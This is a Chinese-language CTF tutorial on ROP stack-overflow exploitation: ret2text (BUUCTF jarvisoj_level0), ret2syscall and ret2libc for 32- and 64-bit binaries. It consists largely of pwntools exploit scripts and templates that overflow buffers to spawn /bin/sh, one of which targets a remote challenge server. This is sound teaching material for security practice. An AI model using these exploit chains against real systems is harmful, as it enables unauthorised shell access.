ret2text ret2syscall ret2libc

ROP的介绍

_**Return Oriented Programming（面向返回的编程） **_主要是在栈溢出的基础上，利用程序中已有的小片段（gadgets）来改变某些寄存器或者变量的值，从而控制程序的执行流程，绕过 NX 的防御。

什么是gedget？

在二进制漏洞利用比如 ROP 攻击中，Gadget（中文常称指令片段）是指以 ret 指令结尾的、长度很短的连续机器指令序列.这些指令片段并不是程序刻意编写的,而是从程序的现有代码段(.text 段)中拼凑出来的。

在漏洞利用中，很多防护机制（比如 DEP/NX，即数据执行保护）会禁止直接执行栈上的恶意代码。此时攻击者无法直接注入 shellcode，只能通过拼接程序自身的 Gadget，构造一条「指令执行链」（即 ROP 链），间接实现攻击目的（比如调用 system(“/bin/sh”) 获取 shell）。

ret2text

_ret2text 控制程序本身已有的.text 代码 _属于 ROP 攻击中最基础的攻击方法，当程序存在完整的后门函数的时候，我们可以直接手动测出偏移，进行缓冲区溢出填充到 rbp/ebp 进而跳转到后门函数获取 shell。

_**BUUCTF[ jarvisoj_level0 ] **_用一道题目来讲解 ret2text

1769408099948-b0327880-7c33-48d6-90ce-eb8de80248e6.png 
1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDu);
  return vulnerable_function(1);
}
ssize_t vulnerable_function()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
  return read(0, buf, 0x200u);
}

通过 IDA 分析，可以任意读取 0x200 个字节的字符串，但和 rbp 的距离只有 0x80，是一个最基础的栈溢出。

有经验的可以一眼看出来输入 0x80+8 个字符串去覆盖即可（这道题好像没办法手动测量），找到后门函数地址1769408675384-5711d172-36d1-4d97-84d6-cdb1d7c9aaf5.png

1
2
3
4
5
6
7
8
from pwn import *
# p = process("./level0")
p = remote('node5.buuoj.cn',26567)
p.recvuntil("Hello, World\n") 
#p.recvuntil(...) 就是帮你 “监听” 程序的话，确认它说完指定内容后，再执行你的发送操作。
payload = b"a"*0x88 + p64(0x400596)
p.sendline(payload)
p.interactive()

构造 exp 后，我们直接运行ret2text.py可以拿到shell

1769408951359-0e079585-0702-4b75-92ca-55daae473a82.png

ret2syscall

ret2sycall 就是通过执行 gadgets 改变寄存器的值然后控制程序执行系统调用。 当我们在程序中找不到可用的 system 函数但可以寻找到/bin/sh 的情况下，原理和 Shellcode 一样，不过是需要自己去寻找 gadgets。

ropper 的使用(寻找 gadgets)

1
ropper -f ./ret2syscall --search "pop|ret"

obdjump 的使用（寻找 /bin/sh）

1
objdump -s -j .rodata ./your_pwn_file | grep -i "sh"

32位程序的条件

对于ret2syscall来说，我们需要让程序调用execve(“/bin/sh”,NULL,NULL)去拿到shell

对于三十二位程序来说调用execve的函数步骤：

1)eax=0xb 2)ebx指向/bin/sh的地址 3)ecx=0 4)edx=0

最后执行int 0x80触发终端就可以成功会自行execve( )获取到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process("./BUUCTF32")

offset = 100  # 缓冲区到返回地址的偏移（cyclic计算）
# ---------- 以下地址需用Ropper查找 ----------
pop_ebx_ret =      # pop ebx; ret 的地址
pop_ecx_ret =      # pop ecx; ret 的地址
pop_edx_ret =      # pop edx; ret 的地址
pop_eax_ret =      # pop eax; ret地址
int_0x80_ret =     # int 0x80; ret 的地址
sh_str =           # "/bin/sh" 字符串的地址

# 3. 构造ret2syscall的ROP链
payload = b"A" * offset  # 填充到返回地址

payload += p32(pop_ebx_ret)   # 给ebx赋值：/bin/sh地址
payload += p32(sh_str)

payload += p32(pop_ecx_ret)   # 给ecx赋值：0
payload += p32(0)

payload += p32(pop_edx_ret)   # 给edx赋值：0
payload += p32(0)

payload += p32(pop_eax_ret)   # 给eax赋值0xb
payload += p32(0xb) 

payload += p32(int_0x80_ret)  # 触发系统调用
p.sendline(payload)
p.interactive()

64位程序的条件

1）将 RAX 寄存器的值设置为 0x3b； 2）将 RDI 寄存器的值设置为”/bin/sh”字符串的地址；3）将 RSI 和 RDX 寄存器的值都设置为 0；4） 最终触发 syscall 获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./your_pwn_file") 

offset = 120      # 示例值，需替换为实际偏移
pop_rdi_ret =     # pop rdi; ret （给rdi传参）
pop_rsi_ret =     # pop rsi; ret （给rsi传参）
pop_rdx_ret =     # pop rdx; ret （给rdx传参）
pop_rax_ret =     # pop rax; ret （给rax传参）
syscall_ret =     # syscall; ret （触发系统调用）
ret_gadget =      # ret （栈对齐用）

# 3. "/bin/sh"字符串地址（用objdump/ROPgadget查找）
sh_str = 0x402041             # 示例值，需替换为实际地址

payload = b"A" * offset  
payload += p64(ret_gadget)    # 栈对齐（64位syscall要求栈16字节对齐，必须加！）

payload += p64(pop_rdi_ret)   # 1. 给rdi赋值：/bin/sh字符串地址（execve第一个参数）
payload += p64(sh_str)

payload += p64(pop_rsi_ret)   # 2. 给rsi赋值：0（execve第二个参数NULL）
payload += p64(0)

payload += p64(pop_rdx_ret)   # 3. 给rdx赋值：0（execve第三个参数NULL）
payload += p64(0)

payload += p64(pop_rax_ret)   # 4. 给rax赋值：59（execve的系统调用号）
payload += p64(59)

payload += p64(syscall_ret)   # 5. 触发syscall，执行execve("/bin/sh", NULL, NULL)

# 注意：根据程序输入逻辑选择send/sendline（比如read用send，scanf用sendline）
p.sendline(payload)
p.interactive()

找不到pop rax; ret怎么办？

用xor rax, rax + mov al, 0x3b替代：

1
2
3
4
5
6
7
# 新增gadget地址
xor_rax_rax_ret = 0x4012c4  # xor rax, rax; ret
mov_al_3b_ret = 0x4012c6    # mov al, 0x3b; ret

# 替换rax赋值逻辑
payload += p64(xor_rax_rax_ret)  # rax=0
payload += p64(mov_al_3b_ret)    # rax=59（0x3b）

ret2syscall exp(另一种 gadgets)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = process("./ret2syscall")
def debug():
    gdb.attach(p, gdbscript="b *0x08049421")  # int_0x80地址 *0x08049421
    pause()  # 暂停程序，等待你在 GDB 里操作

if args.G:
    gdb.attach(p)
pop_eax_ret = 0x080bb196             
pop_ebx_ret = 0x080481c9
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh_addr = 0x80be408

p.recvuntil("What do you plan to do?\n")
payload = b"a"*112 + p32(pop_eax_ret) 
payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret) 
payload += p32(0) + p32(0) + p32(bin_sh_addr) 
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()

ret2libc

当程序中存在可执行的 libc 函数（如 system 等）我们可以选择 ret2libc 进行获取 shell。通常我们会选择寻找 system 函数和/bin/sh 字符串的地址进行攻击。在这里我们需要注意的问题是：如何在栈当中正确的布置函数和参数的位置。在 32 和 64 位程序调用的过程亦有不同。以下是存在 system 和 binsh 的情况

32 位程序 re2libc

1768929437013-7e63b627-9adc-445f-9c60-3a4e1edc31f0.png在 32 位程序中，我们要按照调用顺序依次把函数压入栈中，所以我们构造的payload应该是这样的结构与顺序：

1
b'a'*n(栈溢出直到返回地址) + p32(system函数地址) + b'xxxx' + p32("/bin/sh"字符串地址)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process("./your_32_pwn_file")  
offset = 100  
# 2. libc函数/字符串地址（用objdump/ROPgadget查找）
system_addr =   # system函数的PLT地址
sh_str_addr =   # "/bin/sh"字符串的地址

# 填充字节 → 覆盖返回地址为system地址 → 随便填4字节（system的返回地址占位） → /bin/sh地址（system的参数）
payload = b"A" * offset               # 填充到返回地址
payload += p32(system_addr)           # 覆盖返回地址，跳转到system函数
payload += b'xxxx'                    # 占位（system执行完后的返回地址，随便填即可）
payload += p32(sh_str_addr)           # system的参数：/bin/sh字符串地址

# 根据程序输入逻辑选send/sendline（read用send，scanf用sendline）
p.sendline(payload)
p.interactive()

64 位程序 ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
p = process("./pwn1") 
system_plt =     # system函数的PLT表地址
sh_str =         # "/bin/sh"字符串的内存地址（可从libc中找或程序自身数据段）      
pop_rdi_ret =    # pop rdi; ret的ROPgadget地址（ROPgadget --binary pwn1 | grep "pop rdi ; ret"）
ret =            # 纯ret指令的gadget地址（用于栈对齐，防止system执行崩溃）
offset =         # 填充到返回地址的偏移量（通过cyclic工具计算）

payload = b'A' * offset       # 填充垃圾数据，覆盖到栈上的返回地址位置
payload += p64(ret)           # 栈对齐：64位系统调用函数时需保证栈是16字节对齐
payload += p64(pop_rdi_ret)   # 执行该gadget，将栈下一个值弹出到rdi寄存器（64位传参用）
payload += p64(sh_str)        # 栈上数据，会被pop rdi; ret弹出到rdi（作为system的第一个参数）
payload += p64(system_plt)    # 覆盖返回地址为system的PLT地址，执行system("/bin/sh")

p.sendline(payload)
p.interactive()

延迟绑定

当我们在程序中无法寻找到 system 函数和”/bin/sh”字符串的时候，我们就需要用到 plt 和 got 表的延迟绑定。

更新: 2026-01-26 17:53:20
原文: https://www.yuque.com/idcm/wnemg9/qeoruymelg66r96p